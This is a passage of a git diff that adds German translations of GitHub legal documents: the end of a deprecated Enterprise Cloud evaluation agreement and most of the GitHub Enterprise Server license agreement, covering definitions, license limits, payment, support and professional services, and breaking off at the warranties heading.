+_Diese Bedingungen gelten für Kunden, die die Produkte vor dem 4. Januar 2021 lizenziert haben. Kunden, die GitHub-Produkte nach diesem Datum erwerben, werden zu den aktuellen Bestimmungen unter https://www.github.com/enterprise-legal weitergeleitet._
+
+VIELEN DANK, DASS SIE SICH ZUR ERFÜLLUNG DER GESCHÄFTLICHEN ANFORDERUNGEN IHRES UNTERNEHMENS FÜR GITHUB ENTSCHIEDEN HABEN. LESEN SIE SICH DIESE BEDINGUNGEN AUFMERKSAM DURCH. SIE REGELN IHRE NUTZUNG DES DIENSTS ZU BEWERTUNGSZWECKEN, ES SEI DENN, GITHUB HAT ZU DIESEM ZWECK EINE SEPARATE SCHRIFTLICHE VEREINBARUNG MIT IHNEN GETROFFEN. DURCH KLICKEN AUF „I AGREE“ (ICH STIMME ZU) ODER EINE ÄHNLICHE SCHALTFLÄCHE ODER DURCH DEN ZUGRIFF AUF DEN DIENST IM RAHMEN EINER TESTVERSION AKZEPTIEREN SIE ALLE GESCHÄFTSBEDINGUNGEN DIESER BEWERTUNGSVEREINBARUNG. WENN SIE DIESE BEWERTUNGSVEREINBARUNG IM NAMEN EINES UNTERNEHMENS ODER EINER ANDEREN JURISTISCHEN PERSON (HIER NACHFOLGEND ALS **KUNDE** BEZEICHNET) ABSCHLIESSEN, SICHERN SIE ZU, DASS SIE RECHTLICH DAZU BEFUGT SIND, DIESE VEREINBARUNG FÜR DAS UNTERNEHMEN ODER DIE JURISTISCHE PERSON ZU SCHLIESSEN. DURCH DIE AKZEPTIERUNG DIESEN BEDINGUNGEN STIMMT DER KUNDE AUSSERDEM ZU, DASS ER DIE DATENSCHUTZERKLÄRUNG VON GITHUB GELESEN HAT.
+
+## 1. Vertragsbedingungen für Unternehmen
+
+Der Kunde benötigt ein Unternehmenskonto bei GitHub.com, um Bewertungszugriff zu erhalten. Die Bewertung von Enterprise Cloud durch den Kunden unterliegt diesen Bedingungen und den Vertragsbedingungen für Unternehmen (zu finden unter [https://docs.github.com/articles/github-corporate-terms-of-service](/articles/github-corporate-terms-of-service)) (gemeinsam als **Bewertungsvereinbarung** bezeichnet). Alle zusätzlichen Bedingungen in Verbindung mit dem [Enterprise Cloud-Nachtrag](/articles/github-enterprise-cloud-addendum) gelten allerdings **erst**, wenn der Kunde sein Produkt auf ein kostenpflichtiges Abonnement von Enterprise Cloud heraufstuft.   Alle festen Begriffe, die in dieser Bewertungsvereinbarung nicht definiert sind, sind in den Vertragsbedingungen für Unternehmen definiert.
+
+## 2. Laufzeit und Kündigung
+
+*2.1. Laufzeit.* Das „Datum des Inkrafttretens der Bewertungsvereinbarung“ ist das Datum, an dem der Kunde den Bedingungen dieser Bewertungsvereinbarung zustimmt. Diese Vereinbarung beginnt am Datum des Inkrafttretens der Bewertungsvereinbarung und bleibt vierzehn (14) Tage lang gültig (**Bewertungslaufzeit**).
+
+*2.2 Kündigung.* Jede Partei kann diese Bewertungsvereinbarung anlasslos und aus beliebigem Grund kündigen. Abschnitt 2.3 gilt für die Entscheidung jeder der beiden Parteien, diese Bewertungsvereinbarung zu kündigen. Diese Bewertungsvereinbarung endet umgehend und ohne vorherige Ankündigung, wenn der Kunde gegen eine der Bestimmungen der Bewertungsvereinbarung verstößt.
+
+*2.3 Wirkung von Kündigung.* Nach der Kündigung der Bewertungsvereinbarung enden alle Abonnementlizenzen automatisch, und der Kunde verliert das Nutzungsrecht für Enterprise Cloud und möglicherweise den Zugriff auf Inhalte, Features oder Kapazitäten seines Kontos. Informationen dazu, wie Sie eine Kopie dieser Inhalte erhalten können, finden Sie im Abschnitt „Wirkung von Kündigung“ in den Vertragsbedingungen für Unternehmen.
+
+## 3. Garantien und Haftungsausschlüsse
+
+DER KUNDE ERKLÄRT SICH DAMIT EINVERSTANDEN, DASS JEGLICHE MATERIALIEN ODER INFORMATIONEN, DIE GITHUB GEMÄSS DIESER BEWERTUNGSVEREINBARUNG BEREITSTELLT ODER AUF DIE DER KUNDE GEMÄSS DIESER BEWERTUNGSVEREINBARUNG ZUGREIFEN KANN (UNTER ANDEREM VERTRAULICHE INFORMATIONEN ODER MATERIALIEN DES BEWERTUNGSKONTOS) **OHNE MÄNGELGEWÄHR** UND OHNE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG JEGLICHER ART BEREITGESTELLT WERDEN. GITHUB LEHNT ALLE STILLSCHWEIGENDEN GARANTIEN UND BEDINGUNGEN DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN AB.
+
+## 4. Haftungsbeschränkung
+
+IN KEINEM FALL HAFTET GITHUB DEM KUNDEN ODER DRITTEN GEGENÜBER FÜR INDIREKTE, BESONDERE ODER ZUFÄLLIGE SCHÄDEN, FÜR FOLGESCHÄDEN, FÜR SCHADENERSATZVERPFLICHTUNGEN ODER FÜR STRAFSCHADENERSATZ, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF SCHÄDEN FÜR VERLORENE DATEN, ENTGANGENEN GEWINN ODER KOSTEN DER BESCHAFFUNG VON ERSATZWAREN ODER DIENSTLEISTUNGEN, UNABHÄNGIG VON DER VERURSACHUNG UND UNTER JEGLICHER HAFTUNGSTHEORIE, OB AUS VERTRAG, UNERLAUBTER HANDLUNG (EINSCHLIESSLICH, OHNE EINSCHRÄNKUNG, PRODUKTHAFTUNG, VERSCHULDENSUNABHÄNGIGER HAFTUNG UND FAHRLÄSSIGKEIT) ODER JEDER ANDEREN RECHTSTHEORIE, UND UNABHÄNGIG DAVON, OB DIE PARTEI VON DER MÖGLICHKEIT SOLCHER SCHÄDEN KENNTNIS HATTE ODER HÄTTE HABEN MÜSSEN. DIE HÖHE DER GESAMTHAFTUNG VON GITHUB, DIE IN BEZUG AUF DIESE ODER IM ZUSAMMENHANG MIT DIESER BEWERTUNGSVEREINBARUNG ENTSTEHT, ÜBERSTEIGT IN KEINEM FALL FÜNFHUNDERT (500,00) US-DOLLAR, UNABHÄNGIG DAVON, OB ES SICH UM HAFTUNG AUS VERTRAG ODER UNERLAUBTER HANDLUNG HANDELT. DIE VORSTEHENDEN BESCHRÄNKUNGEN GELTEN SELBST DANN, WENN EIN WESENTLICHER ZWECK EINES DER IN DIESER BEWERTUNGSVEREINBARUNG GENANNTEN BESCHRÄNKTEN RECHTSMITTEL NICHT ERFÜLLT WIRD.
+
+## 5. Datenschutz
+
+5.1 Im Rahmen der Entwicklung und Bewertung unseres Bewertungsprogramms muss GitHub Daten zur Nutzung der Dienste und Programme durch den Kunden und zu Möglichkeiten zur Verbesserung dieser Dienste und Programme durch GitHub erfassen. GitHub kann bestimmte weitere personenbezogene Daten des Kunden erfassen. Beispielsweise kann GitHub den Kunden um Feedback bitten (wie weiter unten in Abschnitt 6 erläutert). GitHub kann den Kunden zu seinen Erfahrungen, seiner Vertrautheit mit dem Produkt oder zu demografischen Informationen befragen. GitHub verwendet diese Informationen, um seine Produkte und Dienste zu verbessern, und verkauft Feedback nicht an Dritte oder Werbetreibende. Der Kunde kann die Bereitstellung von Feedback sowie die Beantwortung bestimmter Fragen ablehnen. Außerdem kann er von GitHub die Löschung oder Änderung der Daten verlangen, die GitHub über den Kunden erfasst hat.
+
+5.2 Die Server von GitHub befinden sich in den USA. Kundendaten werden von GitHub in den USA verarbeitet. Der Kunde ist jedoch dafür verantwortlich, zu entscheiden, welche personenbezogenen Daten er an GitHub übermittelt. Weitere Informationen finden Sie in der [Datenschutzerklärung](/articles/github-privacy-statement).
+
+## 6. Feedback
+
+GitHub ist stets bestrebt, seine Produkte und Dienste zu verbessern, und Kundenfeedback zum Bewertungskonto hilft GitHub dabei. Wenn der Kunde entscheidet, Feedback für GitHub bereitzustellen, erklärt sich der Kunde damit einverstanden, dass GitHub eine gebührenfreie, voll bezahlte, weltweite, übertragbare, unterlizenzierbare, unwiderrufliche und unbefristete Lizenz zur Implementierung, Nutzung, Änderung, kommerziellen Verwertung und/oder Einarbeitung des Feedbacks in die Produkte, Dienste und Dokumentationen von GitHub besitzt.
+
+## 7. Zusatzvereinbarungen, Verzichtserklärungen, keine Drittbegünstigten
+
+Diese Bewertungsvereinbarung darf nicht geändert werden, es sei denn, die Änderung wird schriftlich vereinbart und von beiden Parteien unterzeichnet oder erfolgt durch eine Aktualisierung der allgemein gültigen Bedingungen. Sollte sich herausstellen, dass eine Bedingung oder Bestimmung in dieser Bewertungsvereinbarung ungültig oder nicht durchsetzbar ist, bleiben die übrigen Bedingungen im gesetzlich zulässigen Umfang weiterhin gültig und durchsetzbar. Die Parteien vereinbaren ausdrücklich, dass es keine Drittbegünstigten für diese Bewertungsvereinbarung gibt.
+
+## 8. Gesamte Vereinbarung, Rangfolge
+
+Die allgemein gültigen Bedingungen bilden zusammen mit dieser Bewertungsvereinbarung die gesamte Vereinbarung zwischen den Parteien zum Vertragsgegenstand und ersetzen alle vorhergehenden schriftlichen und mündlichen Kommunikationen, Darstellungen, Absprachen und Vereinbarungen. Die Bedingungen oder Bestimmungen jeglicher Bestellungen, Bestätigungen und anderer Dokumente, die der Kunde im Zusammenhang mit dieser Bewertungsvereinbarung an GitHub übermittelt, sind nichtig und unwirksam. Im Falle von Widersprüchen zwischen dieser Bewertungsvereinbarung und den allgemein gültigen Bedingungen gilt die Bewertungsvereinbarung hinsichtlich der relevanten Bestimmung für die Bewertungslaufzeit der Bewertungsvereinbarung.
diff --git a/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-server-license-agreement.md b/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-server-license-agreement.md
new file mode 100644
index 0000000000..e877d5ebbb
--- /dev/null
+++ b/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-server-license-agreement.md
@@ -0,0 +1,193 @@
+---
+title: GitHub Enterprise Server-Lizenzvereinbarung
+hidden: true
+redirect_from:
+  - /articles/github-enterprise-server-license-agreement
+  - /github/site-policy/github-enterprise-server-license-agreement
+  - /github/site-policy-deprecated/github-enterprise-server-license-agreement
+versions:
+  fpt: '*'
+ms.openlocfilehash: 46e22d433532263ebef0599c92f7563b96257d1b
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099289'
+---
+_Diese Bestimmungen gelten für Kunden, die über abgeschlossene Vereinbarungen verfügen, die sich auf sie beziehen. Alle anderen Unternehmenskunden werden zu den aktuellen Bestimmungen unter https://www.github.com/customer-terms weitergeleitet._
+
+Diese Vereinbarung gilt für die folgenden GitHub Angebote, wie unten näher definiert (zusammen die **„Produkte“**):
+
+- Die Software (einschließlich Add-on-Software wie Advanced Security, Insights und Learning Lab for Enterprise Server);
+
+- Jeglicher damit verbundener Support; und
+
+- Alle damit verbundenen Professional Services.
+
+Wenn der Kunde die Produkte von einem GitHub-Partner erworben hat, haben die zwischen dem Kunden und dem GitHub-Partner vereinbarten Bestimmungen Vorrang vor den Bestimmungen in den folgenden Abschnitten dieser Vereinbarung: Abschnitt 8 (Zahlung), Abschnitt 9 (Bereitstellung), Abschnitt 10 (Überprüfung) und Abschnitt 17 (Laufzeit und Kündigung).
+
+**1. Definitionen.** Verwendete Begriffe, die hier nicht aufgeführt sind, werden innerhalb der Vereinbarung definiert.
+
+„**Add-On Software**“ bezeichnet Advanced Security, Insights, Learning Lab for Enterprise Server und andere zusätzliche Software-Add-On-Produkte, die GitHub von Zeit zu Zeit anbieten kann.
+
+„**Advanced Security**“ bezeichnet das Softwarefeature, das es dem Kunden ermöglicht, Sicherheitslücken durch anpassbare und automatisierte semantische Codeanalyse zu identifizieren.
+
+„**Wirksamkeitsdatum**“ ist das Datum, an dem der Kunde für die Bestimmungen dieser Vereinbarung auf „Ich stimme zu“ klickt oder zum ersten Mal eine Bestellung für die Produkte aufgibt, wobei das frühere Datum maßgeblich ist.
+
+„**Verbundenes Unternehmen**“ bezeichnet jede juristische Person, die direkt oder indirekt eine Partei kontrolliert, von ihr kontrolliert wird oder mit ihr unter gemeinsamer Kontrolle steht, wobei „Kontrolle“ mehr als fünfzig Prozent (50 %) des Eigentums bedeutet oder das Recht, der Geschäftsführung der juristischen Person Weisungen zu erteilen.
+
+„**Beta-Vorschau**“ bezeichnet Software, Dienste oder Funktionen, die als Alpha, Beta, Vorschau, Early Access oder Evaluierung oder mit Begriffen oder Ausdrücken mit ähnlicher Bedeutung gekennzeichnet sind.
+
+„**Kunde**“ bezeichnet das Unternehmen oder die Organisation, das bzw. die diese Vereinbarung mit GitHub abgeschlossen hat, indem es bzw. sie auf die Schaltfläche „ICH STIMME ZU“ oder eine ähnliche Schaltfläche geklickt oder auf die Produkte zugegriffen hat.
+
+„**Kundenänderungen**“ sind Änderungen an der Software, die der Kunde ausschließlich zwecks Entwicklung von Fehlerbehebungen, Anpassungen oder zusätzlichen Features von Bibliotheken vornehmen kann, die durch Open-Source-Lizenzen lizenziert sind und ggf. in der Software enthalten oder mit dieser verknüpft sind.
+
+„**Dokumentation**“ bezeichnet alle Handbücher, Dokumentationen und andere unterstützende Materialien in Bezug auf die Software, die GitHub dem Kunden bereitstellt oder für ihn verfügbar macht. Die Dokumentation gilt als Teil der Software.
+
+„**Feedback**“ bezeichnet alle Ideen, Know-how, Algorithmen, Codebeiträge, Vorschläge, Anfragen zur Erweiterung von Produktfunktionalitäten, Empfehlungen oder sonstiges Feedback zu Produkten oder Diensten von GitHub.
+
+„**Gebühren**“ bezeichnet die in einem Bestellformular oder einer Leistungsbeschreibung angegebenen Gebühren, die der Kunde an GitHub zahlen muss, um die Produkte während der jeweiligen Abonnementlaufzeit zu nutzen oder Professional Services zu erhalten.
+
+„**GitHub Insights**“ oder „**Insights**“ bezeichnet das Softwarefeature, das dem Kunden Metriken, Analysen und Empfehlungen in Bezug auf die Nutzung der Software zur Verfügung stellt.  GitHub Insights enthält keine Legacyfeatures von GitHub, einschließlich Organisationseinblicke und Repository-Insights.
+
+„**GitHub-Partner**“ bezeichnet ein Unternehmen, das berechtigt ist, GitHub-Produkte gemäß den Bestimmungen der GitHub-Channelpartnervereinbarung weiterzuverkaufen.
+
+„**Learning Lab for Enterprise Server**“ bezeichnet das Softwarefeature, mit dem Benutzer mehr über die GitHub-Funktionalität erfahren können, einschließlich der zugehörigen Dokumentation.
+
+„**Wirksamkeitsdatum der Lizenz**“ ist das in den einzelnen Bestellformularen angegebene Wirksamkeitsdatum.
+
+„**Lizenzschlüssel**“ bezeichnet die vom Zugriffssteuerungsmechanismus der Software verwendete Datendatei, mit der Sie die Software installieren, betreiben und verwenden können und die über eine sichere, kennwortgeschützte Website bereitgestellt wird.
+
+„**Bestellformular**“ bezeichnet die schriftliche oder elektronische Dokumentation (einschließlich eines Angebots), die die Parteien zum Bestellen der Produkte verwenden.
+
+„**Parteien**“ bezeichnet zusammenfassend GitHub und den Kunden. Jede dieser Parteien kann einzeln als „**Partei**“ bezeichnet werden.
+
+„**Professional Services**“ bezeichnet Schulungs-, Beratungs- oder Implementierungsdienste, die GitHub dem Kunden gemäß einer gemeinsam unterzeichneten Leistungsbeschreibung bereitstellt. In Professional Services ist kein Support enthalten.
+
+„**Release**“ bezeichnet ein Softwarerelease und alle zugehörigen Änderungen der Dokumentation, die GitHub für seine Kunden allgemein verfügbar macht und die Erweiterungen, neue Features oder neue Funktionen enthält und im Allgemeinen durch die Änderung der Ziffer rechts von der ersten Dezimalstelle (z. B. von x.x.x in x.y.x) oder links von der ersten Dezimalstelle (z. B. von x.x.x in y.x.x) gekennzeichnet wird.
+
+„**Software**“ bezeichnet die proprietäre Enterprise Server-Software von GitHub. Software umfasst entsprechende Dokumentation, alle Updates der Software, die GitHub dem Kunden bereitstellt oder auf die er im Rahmen dieser Vereinbarung zugreifen kann, und, sofern im Abonnement des Kunden enthalten, Add-On-Software.
+
+„**Leistungsbeschreibung**“ bezeichnet eine gemeinsam unterzeichnete Leistungsbeschreibung, in der die von GitHub zu erbringenden Professional Services, alle damit verbundenen Gebühren und die damit einhergehenden Verpflichtungen jeder Partei aufgeführt sind.
+
+**„Abonnementlizenz“** bezeichnet die jedem Benutzer zugewiesene Lizenz, um im Namen des Kunden auf die Software zuzugreifen, sie zu installieren, zu betreiben und zu verwenden. Der Kunde darf in all seinen GitHub Enterprise Server-Instanzen nur eine Abonnementlizenz pro Benutzer zuweisen. Jeder Benutzer kann auf die Anzahl von Enterprise Server-Instanzen zugreifen, die der Kunde zulässt. Der Kunde ist nach der Zuweisung einer Abonnementlizenz zu einem Benutzer jedoch nicht berechtigt, die Abonnementlizenz so zu gabeln, dass ein Benutzer eine Abonnementlizenz für Enterprise Server und ein anderer Benutzer dieselbe Abonnementlizenz für eine andere Instanz von GitHub Enterprise Server verwenden kann.
+
+„**Abonnementlaufzeit**“ bezeichnet den Zeitraum von einem (1) Jahr ab dem Wirksamkeitsdatum der Lizenz, sofern kein alternativer Zeitraum in einem Bestellformular angegeben ist. GitHub benachrichtigt den Kunden mindestens sechzig (60) Tage vor Ablauf der Abonnementlaufzeit über die anstehende Verlängerung und generiert ein neues Bestellformular für die Verlängerung. GitHub stellt dem Kunden einen neuen Lizenzschlüssel zum Herunterladen zur Verfügung, der die weitere Nutzung der Software nach dem Bestellformular zulässt.
+
+„**Support**“ bezeichnet technischen Support für die Software, den GitHub unter Umständen bereitstellt.
+
+**„Update“** bezeichnet ein Softwarerelease und alle zugehörigen Änderungen der Dokumentation, die GitHub für seine Kunden allgemein verfügbar macht und die Fehlerkorrekturen oder -behebungen enthält und im Allgemeinen durch eine Änderung der Ziffer rechts von der zweiten Dezimalstelle (z. B. von x.x.x in x.x.y) gekennzeichnet wird.
+
+„**Benutzer**“ bezeichnet eine Einzelperson oder ein Computerkonto, die bzw. das die Ausführung der Software initiiert oder mit der Software zwecks Ausführung ihrer Funktionen interagiert oder diese zu diesem Zweck steuert.
+
+**2. Gewährung einer Softwarelizenz.** GitHub gewährt dem Kunden eine nicht ausschließliche, nicht übertragbare, weltweite, unentgeltliche, zeitlich beschränkte Lizenz zur dokumentationskonformen Installation und Nutzung der Software zu internen Geschäftszwecken des Kunden für den Zeitraum der entsprechenden Abonnementlaufzeit und ausschließlich für die Anzahl von Abonnementlizenzen, die im Bestellformular des Kunden angegeben ist. Die Software umfasst Komponenten, für die Dritte GitHub eine Lizenz gewähren. Dazu zählt auch Software, deren Lizenzen erfordern, dass GitHub den Quellcode der entsprechenden Komponenten verfügbar macht. Der Quellcode solcher Komponenten wird auf Anfrage bereitgestellt. Unbeschadet des Vorstehenden gestattet diese Lizenz dem Kunden das Herunterladen und Ausführen von Microsoft SQL Server Standard Edition-Containerimages für Linux-Dateien („**SQL Server-Images**“), die nur wie dokumentiert mit der Software verwendet werden dürfen. Das Recht des Kunden, die SQL Server-Images zu verwenden, endet, wenn er nicht mehr über die Rechte zur Nutzung der Software verfügt, und der Kunde muss die SQL Server-Images deinstallieren, wenn sein Nutzungsrecht endet. Die Microsoft Corporation kann SQL Server Images jederzeit deaktivieren.
+
+**3. Lizenzbeschränkungen.** Sofern gesetzlich oder durch entsprechende Lizenzen von Dritten nicht ausdrücklich gestattet, dürfen der Kunde und seine verbundenen Unternehmen Folgendes weder selbst vornehmen noch durch Dritte vornehmen lassen: (i) Unterlizenzieren, Verkaufen, Vermieten, Verleasen, Übertragen, Abtreten oder Weiterverbreiten der Software, (ii) Hosten der Software zugunsten Dritter, (iii) Offenlegen der Software oder Gewähren von Zugriff auf die Software für Dritte mit Ausnahme der nach diesem Abschnitt 2 ausdrücklich zulässigen Fälle, (iv) Hacken oder Ändern des Lizenzschlüssels oder Umgehen oder Ändern des Lizenzregistrierungsvorgangs, (v) mit Ausnahme von Kundenänderungen Ändern oder Entwickeln abgeleiteter Werke der Software oder Zusammenführen der Software mit anderer Software, (vi) teilweises oder vollständiges Disassemblieren, Dekompilieren, Umgehen von Codeobfuskation, Zurückentwickeln (Reverse Engineering) der Software oder Versuche zur Ableitung von Quellcode, (vii) Ändern, Verunklaren oder Löschen von Hinweisen auf Schutzrechte in der Software oder der Dokumentation oder (viii) anderweitige Verwendung oder Vervielfältigung der Software oder der Dokumentation, die gemäß dieser Vereinbarung nicht ausdrücklich gestattet ist.
+
+**4. Schutz- und Urheberrechte.** Zwischen den Parteien besitzt GitHub alle Rechte, Ansprüche und Interessen, einschließlich aller Rechte an geistigem Eigentum, an den Produkten. GitHub behält sich alle Rechte an den Produkten vor, die dem Kunden im Rahmen dieser Vereinbarung nicht ausdrücklich gewährt werden.
+
+**5. Feedback.** Der Kunde kann GitHub Feedback zu den Produkten geben. Feedback ist freiwillig und stellt keine Vertraulichen Informationen des Kunden dar, auch wenn es als solche gekennzeichnet ist. GitHub kann dieses Feedback vollständig ausüben und nutzen, um (i) den Betrieb, die Funktionalität und die Nutzung der vorhandenen und zukünftigen Produktangebote von GitHub zu verbessern und diese Angebote zu kommerzialisieren; und (ii) um aggregierte Statistiken über die Qualität der Produkte zu veröffentlichen, vorausgesetzt, dass keine Daten in einer solchen Veröffentlichung verwendet werden, um den Kunden, seine Mitarbeiter oder den proprietären Softwarecode des Kunden speziell zu identifizieren.
+
+**6. Abonnementlizenzen.** Abonnementlizenzen werden pro Nutzer gewährt, und mehrere Nutzer dürfen nicht dieselbe Abonnementlizenz verwenden. Der Kunde darf eine Abonnementlizenz einem neuen Nutzer erst nach neunzig (90) Tagen nach der letzten Neuzuweisung derselben Abonnementlizenz neu zuweisen, es sei denn, die Neuzuweisung ist auf (i) dauerhaften Hardwareausfall oder -verlust, (ii) Beendigung des Arbeitsverhältnisses des Nutzers oder eines Vertrag, oder (iii) die vorübergehende Neuzuweisung von Abonnementlizenzen zurückzuführen, um die Abwesenheit eines Nutzers abzudecken. Wenn der Kunde eine Abonnementlizenz einem anderen Benutzer zuweist, muss er den Zugriff des früheren Benutzers auf die Abonnementlizenz sperren.
+
+**7. Verbundene Unternehmen.** Die verbundenen Unternehmen des Kunden sind berechtigt, die Software nach dieser Vereinbarung zu verwenden, solange der Kunde für ihren Zugriff und ihre Nutzung der Software voll verantwortlich bleibt.
+
+**8. Zahlung.**
+
+**8.1** *Gebühren.* Der Kunde erklärt sich damit einverstanden, die Gebühren vollständig und im Voraus ohne Abzug oder Verrechnung jeglicher Art in US-Dollar zu zahlen. Der Kunde muss die Gebühren innerhalb von dreißig (30) Tagen nach dem GitHub Rechnungsdatum bezahlen. Gemäß dieser Vereinbarung zahlbare Beträge sind mit Ausnahme der Regelungen in den Abschnitten 13 und 14.1 nicht erstattungsfähig. Wenn der Kunde Gebühren nicht rechtzeitig zahlt, behält sich GitHub das Recht vor, zusätzlich zu anderen rechtlichen oder billigkeitsrechtlichen Maßnahmen (i) Zinsen auf überfällige Beträge in Höhe von 1,0 % pro Monat oder dem höchsten gesetzlich zulässigen Zinssatz zu berechnen, je nachdem, welcher Wert niedriger ist, und alle Kosten für die Beitreibung in Rechnung zu stellen sowie (ii) das entsprechende Bestellformular oder die jeweilige Leistungsbeschreibung zu kündigen. Der Kunde ist allein verantwortlich für alle Steuern, Gebühren, Zölle und behördlichen Veranlagungen (mit Ausnahme von Steuern, die auf dem Nettoeinkommen von GitHub basieren), die im Zusammenhang mit dieser Vereinbarung erhoben werden oder fällig werden.
+
+**8.2** *Erwerb zusätzlicher Abonnementlizenzen.* Der Kunde kann im Rahmen dieser Vereinbarung zusätzliche Abonnementlizenzen erwerben, indem er über die Website von GitHub oder beim GitHub-Vertriebsteam eine entsprechende Anforderung stellt. Ein neues Bestellformular wird generiert, und wenn der Kunde die zusätzlichen Abonnementlizenzen erwirbt, muss er für diese die zu diesem Zeitpunkt geltenden Gebühren anteilig für die verbleibende geltende Abonnementlaufzeit zahlen. Bei Verlängerung der Abonnementlizenzen des Kunden für eine weitere Abonnementlaufzeit stellt GitHub alle Abonnementlizenzen auf einmal jährlich in Rechnung, sofern in einem Bestellformular nichts anderes angegeben ist.
+
+**8.3** *Add-On-Software.* Add-On-Software wird pro Benutzer lizenziert. Um Zweifel auszuschließen und sofern in einem Bestellformular nicht anders angegeben, muss die Anzahl von Abonnementlizenzen, die der Kunde zu einem bestimmten Zeitpunkt für Add-On-Software besitzt, der Anzahl von Abonnementlizenzen entsprechen, über die der Kunde für die Produkte unter dieser Vereinbarung verfügt. Wenn der Kunde beispielsweise ein Abonnement für Advanced Security erwerben möchte und bereits Abonnementlizenzen für 100 Benutzer für die Produkte besitzt, muss er für Advanced Security Abonnementlizenzen für 100 Benutzer erwerben.
+
+**9. Bereitstellung.** GitHub stellt dem Kunden den Lizenzschlüssel auf einer sicheren, kennwortgeschützten Website zum Herunterladen zur Verfügung. Jede Bereitstellung nach diesem Abschnitt 9 erfolgt in elektronischer Form. Um Zweifel auszuschließen, wird ausdrücklich darauf hingewiesen, dass der Kunde für die Installation jeglicher Software verantwortlich ist und anerkennt, dass GitHub nach der Bereitstellung des Lizenzschlüssels keine weiteren Bereitstellungsverpflichtungen im Zusammenhang mit der Software hat. GitHub stellt verfügbare Updates auf derselben Website zum Herunterladen bereit. Der Kunde muss die Software in gewerblich angemessenen Abständen aktualisieren, mindestens jedoch einmal (1-mal) pro Jahr. Der Kunde trägt die Verantwortung für die Wahrung der Vertraulichkeit der Benutzernamen und Kennwörter des Kunden.
+
+**10. Überprüfung.** Der Kunde stellt GitHub auf Anfrage umgehend einen per Software generierten Bericht bereit, aus dem hervorgeht, dass der Kunde die Software nach dieser Vereinbarung nutzt. GitHub stellt dem Kunden jede zusätzliche Nutzung mit Wirksamkeit ab dem Datum in Rechnung, an dem die Nutzung erstmals über die Bestimmungen dieser Vereinbarung hinaus erfolgte.
+
+**11. Support.**
+
+**11.1** *Standard-Support.* GitHub stellt ohne zusätzliche Kosten vierundzwanzig (24) Stunden pro Tag, fünf (5) Tage pro Woche, außer an Wochenenden und nationalen Feiertagen in den USA, standardmäßigen technischen Support für die Software bereit. Standard-Support wird nur über webbasiertes Ticketing über den GitHub Support angeboten, und Support-Anfragen müssen von einem Nutzer initiiert werden, mit dem das Support-Team von GitHub interagieren kann. GitHub kann für die Software Premium-Support (vorbehaltlich der [Bestimmungen für Premium-Support für Enterprise Server](/enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise-server)) oder dedizierten technischen Support auf der Supportebene, zu den Gebühren und in der Abonnementlaufzeit bereitstellen, die in einem Bestellformular oder einer Leistungsbeschreibung angegeben sind.
+
+**11.2** *Erweiterte Supportangebote.* GitHub kann erweiterte Supportangebote für die Software (einschließlich der Premium-, Premium Plus- und Engineering Direct-Supportangebote) nach den [Supportbestimmungen](/enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise) und auf der Supportebene, zu den Gebühren und in der Abonnementlaufzeit bereitstellen, die in einem Bestellformular oder einer Leistungsbeschreibung angegeben sind.
+
+**11.3** *Ausschlüsse.* GitHub unternimmt angemessene Anstrengungen, um alle wesentlichen, reproduzierbaren Fehler der Software zu beheben, über die der Kunde GitHub informiert. GitHub ist jedoch nicht für die Erbringung von Support verantwortlich, wenn (i) jemand (anderes als GitHub) die Software ändert, (ii) der Kunde sein Betriebssystem oder seine Umgebung so ändert, dass sich dies nachteilig auf die Software oder ihre Leistung auswirkt, (iii) der Kunde die Software auf andere als nach dieser Vereinbarung oder der Dokumentation zulässige Weise verwendet oder (iv) der Kunde fahrlässig mit der Software umgeht oder sie zweckentfremdet.
+
+**11.4** *Updates, Releases.* GitHub leistet für ein bestimmtes Release nur für ein (1) Jahr ab dem ursprünglichen Veröffentlichungsdatum oder sechs (6) Monate ab dem letzten Update des Releases Support, je nachdem, welcher Zeitraum länger ist. Benötigt der Kunde Support für ältere Releases der Software, muss er diesen Support nach den Bestimmungen eines einvernehmlich vereinbarten Bestellformulars bzw. einer einvernehmlich vereinbarten Leistungsbeschreibung bezahlen.
+
+**12. Professional Services.** Auf Anfrage des Kunden nach Professional Services stellt GitHub eine Leistungsbeschreibung bereit, in der diese Professional Services näher beschrieben werden. GitHub erbringt die in jeder Leistungsbeschreibung beschriebenen Professional Services. GitHub kontrolliert die Art und Weise und Mittel, mit denen die Professional Services erbracht werden, und behält sich das Recht vor, das zugewiesene Personal zu bestimmen. GitHub kann Dritte zur Erbringung der Professional Services einsetzen, vorausgesetzt, dass GitHub für deren Handlungen und Unterlassungen verantwortlich bleibt. Der Kunde erkennt an und stimmt zu, dass GitHub alle Rechte, Ansprüche und Interessen an allem behält, was in Verbindung mit der Erbringung der Professional Services verwendet oder entwickelt wird, einschließlich Software, Tools, Spezifikationen, Ideen, Konzepten, Erfindungen, Prozessen, Techniken und Know-how. Soweit GitHub während der Erbringung der Professional Services dem Kunden etwas liefert bzw. für ihn bereitstellt, gewährt GitHub dem Kunden eine nicht ausschließliche, nicht übertragbare, weltweite, gebührenfreie, zeitlich begrenzte Lizenz zur Nutzung dieser Leistungen während der Laufzeit dieser Vereinbarung und ausschließlich in Verbindung mit der Nutzung der Software durch den Kunden.
+
+**13. Beschränkte Garantien.**
+
